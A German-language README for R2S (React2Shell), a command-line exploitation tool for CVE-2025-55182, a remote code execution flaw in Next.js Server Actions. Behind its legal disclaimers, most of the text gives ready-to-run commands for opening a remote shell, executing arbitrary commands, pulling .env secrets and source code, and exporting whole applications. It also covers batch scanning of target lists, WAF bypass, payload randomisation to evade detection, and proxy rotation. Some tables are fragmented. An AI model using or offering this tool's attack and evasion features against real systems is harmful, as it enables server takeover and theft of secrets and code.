
Erweitertes Sicherheitstest-Tool für die Schwachstellenbewertung von CVE-2025-55182 in Next.js-Anwendungen. Bietet interaktive Shell, Batch-Scanning, WAF-Umgehung und umfassende Berichterstellung.
Fortschrittliches Exploitation-Testwerkzeug für die Bewertung der Sicherheitslücke CVE-2025-55182
Funktionen • Installation • Nutzung • Testumgebung • Rechtliches
R2S (React2Shell) ist ein Sicherheitstestwerkzeug, das Sicherheitsforschern, Entwicklern und Penetrationstestern dabei helfen soll, zu überprüfen, ob ihre Next.js-Anwendungen anfällig für CVE-2025-55182 sind.
CVE-2025-55182 ist eine kritische Sicherheitslücke, die Next.js Server Actions in bestimmten Versionen (z. B. 16.0.5) betrifft. Diese Schwachstelle ermöglicht es Angreifern, durch unsachgemäß gesicherte Server Actions beliebige Befehle auf dem Server auszuführen, was zu Remote Code Execution (RCE) führt.
R2S hilft Ihnen zu überprüfen, ob Ihre Anwendung dieses Problem hat, damit Sie es beheben können, bevor böswillige Akteure es finden.
--windows)⚠️ KRITISCHE WARNUNG: Das --windows-Flag kann dazu führen, dass das Tool die Sicherheitslücke NICHT erkennt, wenn es falsch verwendet wird.
--windows verwenden: Nur wenn Sie zu 100 % sicher sind, dass der Zielserver Windows ist--windows auf einem Linux-Server verwenden, werden die Befehle fehlschlagen, und das Tool kann "nicht anfällig" melden, selbst wenn der Server anfällig ist--windows nicht, es sei denn, Sie wissen, dass der Zielserver Windows istBeispiel:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
## ⚠️ Rechtlicher Haftungsausschluss
**WICHTIG: LESEN SIE DIES, BEVOR SIE DIESES WERKZEUG VERWENDEN**
1. **Dieses Werkzeug ist AUSSCHLIESSLICH für LEGITIME SICHERHEITSTESTS vorgesehen**
- ✅ Testen Sie Ihre eigenen Anwendungen
- ✅ Testen Sie Anwendungen, für die Sie eine schriftliche Erlaubnis haben
- ✅ Bildungszwecke und Sicherheitsforschung
- ❌ **Niemals auf Systemen verwenden, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben**
- ❌ **Niemals für böswillige Zwecke verwenden**
2. **Durch die Nutzung dieses Werkzeugs stimmen Sie Folgendem zu:**
- Sie werden es nur auf Systemen verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben
- Ihnen ist bewusst, dass unbefugter Zugriff auf Computersysteme illegal ist
- Sie übernehmen die volle Verantwortung für Ihre Handlungen
- Die Autoren sind nicht verantwortlich für jeglichen Missbrauch dieses Werkzeugs
3. **Rechtliche Konsequenzen:**
- Unbefugter Zugriff auf Computersysteme ist in den meisten Ländern eine Straftat
- Ihnen drohen strafrechtliche Anklage, Geldstrafen und Freiheitsentzug
- Holen Sie vor dem Testen immer eine schriftliche Genehmigung ein
4. **Dieses Werkzeug wird "WIE BESEHEN" ohne jegliche Gewährleistung bereitgestellt**
**Wenn Sie unter 18 Jahre alt sind, stellen Sie sicher, dass Sie eine erwachsene Aufsicht und Erlaubnis haben, bevor Sie dieses Werkzeug verwenden.**
---
## ✨ Funktionen
### Kernfunktionen
- 🔍 **Schwachstellenerkennung** - Schnell testen, ob ein Server für CVE-2025-55182 anfällig ist
- 💻 **Interaktive Shell** - Vollständige interaktive Shell-Sitzung über HTTPS mit Befehlsverlauf
- 📁 **Dateioperationen** - Verzeichnisse auflisten, Dateien lesen und Dateien/Archive exportieren
- 🔐 **Geheimnisextraktion** - Versuchen, Anwendungsgeheimnisse zu lesen (.env-Dateien, Konfigurationsdateien)
- 📄 **Codextraktion** - Versuchen, Anwendungsquellcode zu lesen
- 🖥️ **Systeminformationen** - OS-Info, Hostname, Benutzer und Umgebungsvariablen sammeln
### Erweiterte Funktionen
- 🚀 **Auto-Warming-Payloads** - Optimiert Payloads automatisch für beste Ergebnisse
- ⚡ **Parallele Ausführung** - Mehrere Befehle gleichzeitig ausführen
- 🎲 **Payload-Randomisierung** - Erkennung mit dynamischen Payloads umgehen
- 🛠️ **Exploit-Module** - Module im Metasploit-Stil (env_dump, file_search, network_scan, process_list)
- 🔄 **Weiterleitungsbehandlung** - Folgt automatisch HTTP-Weiterleitungen (301, 302, 303, 307, 308)
- 🎨 **Schöne Benutzeroberfläche** - Farbcodierte Ausgabe für einfaches Lesen
- 📊 **Umfassende Berichterstattung** - Berichte automatisch in den Formaten JSON, HTML, TXT mit operationsspezifischen Formatierern speichern
- ⚙️ **Konfigurationssystem** - JSON-basierte Konfiguration mit interaktivem Einstellungsbereich
- 📦 **Exportfunktion** - Einzelne Dateien oder gesamte App-Verzeichnisse als ZIP-Archive exportieren
- 🔒 **WAF-Umgehung** - Mehrere Umgehungstechniken (⚠️ Nicht garantiert – siehe Einschränkungen unten)
### Berichterstattung & Protokollierung
- 📝 **Automatisch Berichte speichern** - Berichte automatisch in `~/.r2s/reports/` mit menschenlesbaren Zeitstempeln speichern
- 📋 **Operationsspezifische Formate** - Verschiedene Berichtsformate für verschiedene Operationen (Shell, Test, Secrets usw.)
- 📜 **Befehlsverlauf** - Dauerhafter Befehlsverlauf, gespeichert in `~/.r2s/history`
- 🔍 **Prüfpfade** - Detaillierte Protokollierung aller Operationen in `~/.r2s/logs/audit.log`
- 🎨 **HTML-Berichte** - Schöne HTML-Berichte mit Dunkel-/Hellmodus, Kopierschaltflächen und Codeblöcken
---
## 📦 Installation
### Option 1: Aus dem Quellcode erstellen (Empfohlen)
1. **Repository klonen:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 Schnellstart
### Einfacher Schwachstellentest```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ Wichtig: Verwenden Sie --windows nicht, es sei denn, Sie sind sicher, dass das Ziel Windows ist. Die Verwendung von --windows auf einem Linux-Server führt zu falschen Negativmeldungen (das Tool meldet möglicherweise "nicht anfällig", obwohl der Server anfällig ist).
Wir stellen eine sichere Testumgebung unter https://r2s-arena.fly.dev bereit:```bash
r2s -u https://r2s-arena.fly.dev -t
### Lokal testen
Siehe [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) für Anleitungen zum lokalen Ausführen der angreifbaren App.
---
## 📚 Anwendungsbeispiele
### Kurzer Befehlsreferenz
**Häufigste Befehle:**
- `r2s -u URL -t` - Auf Schwachstelle testen (am häufigsten)
- `r2s -u URL --shell` - Interaktive Shell starten
- `r2s --targets FILE -t` - Batch-Scan mehrerer Ziele
- `r2s -u URL --system-info` - Systeminformationen abrufen
- `r2s -u URL --secrets` - Versuchen, Geheimnisse zu lesen
- `r2s -u URL --export-archive` - Gesamte App als Zip exportieren
**⚠️ Denken Sie daran**: Verwenden Sie `--windows` nicht, es sei denn, das Ziel ist Windows!
---
### Grundlegende Operationen```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### Exploit-Module```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### Geheimnisse & Code-Extraktion```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### Erweiterte Optionen```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### Protokollierung & Audit```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### Berichterstattung```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. Sicherheitsaudit```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
Verwenden Sie die bereitgestellte nextjs-Anwendung für sichere, lokale Tests:```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
Siehe [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) für detaillierte Anweisungen.
---
## 🏗️ Architektur
R2S verwendet eine modulare Architektur für Wartbarkeit und Erweiterbarkeit:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
Siehe react2shell/README.md für eine detaillierte Architekturdokumentation.
Wir bieten eine sichere Testumgebung namens nextjs, mit der Sie das Tool testen können, ohne reale Systeme zu gefährden.
Besuchen Sie: https://r2s-arena.fly.dev
Dies ist eine öffentlich zugängliche, absichtlich verwundbare Anwendung, die nur zu Testzwecken dient.
Siehe nextjs/README.md für Anweisungen zum lokalen Ausführen.
⚠️ Wichtig: Die nextjs-Anwendung ist absichtlich verwundbar und sollte NIE in der Produktion oder mit echten Daten verwendet werden.
| Befehl | Beschreibung |
|---|---|
--export FILE, --ex FILE | Einzelne Datei vom Ziel exportieren (gespeichert unter ~/.r2s/exports/{domain}/) |
--export-archive | Gesamtes App-Verzeichnis als Zip-Archiv exportieren. Erstellt Zip auf dem Server, lädt es herunter und löscht es dann vom Server. Schließt .gitignore-Muster aus. Gespeichert unter ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Befehl | Beschreibung |
|---|---|
--module NAME | Exploit-Modul ausführen |
--module-list, --list-modules | Verfügbare Module auflisten |
| Option | Beschreibung |
|---|---|
--output FILE, -o FILE |
| Option | Beschreibung |
|---|---|
--targets FILE | Mehrere Ziele aus Datei scannen (eine URL pro Zeile, unterstützt Kommentare mit #) |
--batch | Batch-Modus: alle interaktiven Eingabeaufforderungen überspringen, automatisch fortsetzen (nützlich für Automatisierung/Skripte) |
| Befehl | Beschreibung |
|---|---|
r2s settings | Interaktives Einstellungsfeld öffnen |
r2s cleanup |
r2s -u https://target.com -t --insecure
### "Verbindungsfehler"
- Überprüfen Sie, ob der Server läuft
- Überprüfen Sie die URL
- Überprüfen Sie die Firewall-Einstellungen
- Versuchen Sie, das Timeout zu erhöhen: `--timeout 30`
### "Anfrage blockiert"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ WICHTIG: Windows Commands Flag
Wenn Sie falsch negative Ergebnisse erhalten (das Tool sagt "nicht anfällig", aber das Ziel ist es tatsächlich), überprüfen Sie:
Haben Sie das --windows Flag verwendet?
--windows Flag bewirkt, dass das Tool Windows-Befehle verwendet (PowerShell, dir, usw.)--windows dazu, dass das Tool FEHLSCHLÄGT--windows Flag (Unix/Linux ist die Standardeinstellung)Plattformerkenung
--windows nur, wenn Sie zu 100% sicher sind, dass das Ziel Windows istTestbefehl
echo $((41*271))--windows verwendet er: powershell -c "41*271"Beispiel des Problems:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### Einschränkungen der WAF-Umgehung
**⚠️ Wichtig:** Die WAF-Umgehungstechniken in diesem Tool sind **NICHT garantiert** und haben mehrere Einschränkungen:
- **Nicht universell**: Verschiedene WAFs verwenden unterschiedliche Erkennungsmethoden. Was für eine funktioniert, funktioniert möglicherweise nicht für eine andere.
- **Statische Erkennung**: Einige WAFs verwenden statischen Pattern-Matching, der umgangen werden kann, aber moderne WAFs setzen auf Verhaltensanalyse.
- **Ratenbegrenzung**: Viele WAFs implementieren Ratenbegrenzung, die wiederholte Versuche blockieren kann.
- **Maschinelles Lernen**: Fortschrittliche WAFs verwenden ML-Modelle, die sich anpassen und aus Angriffsmustern lernen.
- **Cloudflare/AWS WAF**: Enterprise-WAFs (Cloudflare, AWS WAF, etc.) sind extrem schwer zu umgehen.
- **Keine Garantien**: Die Umgehungstechniken sind experimentell und können gegen gut konfigurierte WAFs fehlschlagen.
**Bewährte Vorgehensweisen:**
- WAF-Umgehung als letztes Mittel verwenden
- Verschiedene Header-Strategien ausprobieren (`--header-strategy`)
- Mit `--randomize` kombinieren für bessere Ergebnisse
- Verstehen, dass einige Ziele möglicherweise unmöglich zu umgehen sind
- Immer auf Systemen testen, die einem gehören oder für die man eine Testberechtigung hat
### Build-Probleme```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
Um alle Build-Artefakte sicher zu entfernen (Build-Verzeichnisse, Cache-Dateien usw.):```bash ./build.sh cleanup
Dadurch wird Folgendes entfernt:
- `build/` directory (PyInstaller-Build-Dateien)
- `dist/` directory (kompilierte Binärdateien)
- `__pycache__/` directories (Python-Cache, rekursiv)
- `*.pyc` files (kompilierter Python-Bytecode)
- `*.pyo` files (optimierter Python-Bytecode)
- `*.spec` files (PyInstaller-Spezifikationsdateien)
**Hinweis:** Dadurch werden nur Build-Artefakte entfernt, nicht Ihr Quellcode. Die Bereinigung ist sicher und wird vor dem Fortfahren um Bestätigung bitten.
---
## 📁 Dateistruktur```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
Beiträge sind willkommen! Bitte:
Denken Sie daran: Tragen Sie nur Code bei, der für legitime Sicherheitstests hilfreich ist.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Die Nutzung dieses Tools unterliegt jedoch dem obigen rechtlichen Haftungsausschluss. Die Verwendung dieses Tools für unbefugten Zugriff ist illegal und wird von dieser Lizenz nicht abgedeckt.
zamdevio
Dieses Tool dient NUR Sicherheitstests und Bildungszwecken.
Bleiben Sie legal, ethisch und sicher! 🛡️
Mit ❤️ für die Sicherheitscommunity gemacht
| Befehl | Beschreibung |
|---|
-u, --url URL | Ziel-URL (für die meisten Vorgänge erforderlich) |
-t, --test | Testen, ob der Server verwundbar ist |
-ld, --list-dir PATH | Verzeichnisinhalt auflisten |
-rf, --read-file FILE | Dateiinhalt lesen |
-si, --system-info | Systeminformationen abrufen |
-sr, --secrets | Versuchen, Geheimnisse zu lesen |
-c, --code | Versuchen, Quellcode zu lesen |
-cmd, --command CMD | Benutzerdefinierten Befehl ausführen |
--shell | Interaktive Shell starten |
--module-info NAME | Modulinformationen anzeigen |
--set KEY=VALUE | Moduloption setzen |
| Option | Beschreibung |
|---|
--waf-bypass | WAF-Bypass-Techniken versuchen (⚠️ Nicht garantiert – siehe Einschränkungen unten) |
--waf-bypass-size KB | Größe der WAF-Bypass-Junk-Daten in KB (Standard: 128) |
--vercel-waf-bypass | Vercel-spezifische WAF-Bypass-Techniken aktivieren |
--header-strategy STRATEGY | HTTP-Header-Strategie: default, chrome_latest, firefox, minimal, assetnote |
--parallel N | N Befehle parallel ausführen (nützlich für mehrere Befehle) |
--auto-warm | Payloads vor der Ausführung automatisch aufwärmen und optimieren |
--randomize | Payloads randomisieren, um statische Erkennung zu umgehen |
--no-follow-redirects | HTTP-Weiterleitungen (301, 302 usw.) nicht automatisch folgen |
-k, --insecure | SSL-Zertifikatsprüfung deaktivieren (mit Vorsicht verwenden) |
--timeout SECONDS | Anfrage-Timeout in Sekunden (Standard: 10, 0 für kein Timeout) |
--windows | ⚠️ WARNUNG: Windows-Befehle anstelle von Unix/Linux verwenden. Dies kann dazu führen, dass das Tool die Verwundbarkeit NICHT erkennen kann, wenn das Ziel tatsächlich Unix/Linux ist. Verwenden Sie dies nur, wenn Sie sicher sind, dass das Ziel Windows ist. |
--rate RATE | Anfragen auf RATE Anfragen pro Sekunde begrenzen (nützlich für Batch-Scans) |
--delay SECONDS | Verzögerung zwischen Anfragen in Sekunden hinzufügen (hilft, Ratenbegrenzung zu vermeiden) |
--batch | Batch-Modus: alle interaktiven Eingabeaufforderungen überspringen, automatisch fortsetzen (nützlich für Automatisierung) |
| Ergebnisse in bestimmte Datei speichern (deaktiviert automatisches Speichern) |
--no-report | Automatisches Speichern von Berichten unter ~/.r2s/reports/ deaktivieren |
--log FILE | Alle Vorgänge in angegebene Datei protokollieren (detailliertes Betriebsprotokoll) |
--audit | Detaillierten Prüfpfad erstellen (gespeichert unter ~/.r2s/logs/audit.log) |
| Option | Beschreibung |
|---|
--proxy URL | HTTP-Proxy verwenden (Format: http://proxy:port oder http://user:pass@proxy:port) |
--proxy-file FILE | Proxys aus Datei laden und rotieren (ein Proxy pro Zeile, Format: http://proxy:port) |
--rate RATE | Anfragen auf RATE Anfragen pro Sekunde begrenzen (verhindert Überlastung des Ziels) |
--delay SECONDS | Verzögerung zwischen Anfragen in Sekunden hinzufügen (hilft, Ratenbegrenzung zu vermeiden) |
| Alle R2S-Daten löschen (Konfiguration, Verlauf, Protokolle, Berichte, Exporte) |
r2s uninstall | R2S-Binärdatei und alle Daten deinstallieren |
r2s help | Hilfemeldung anzeigen |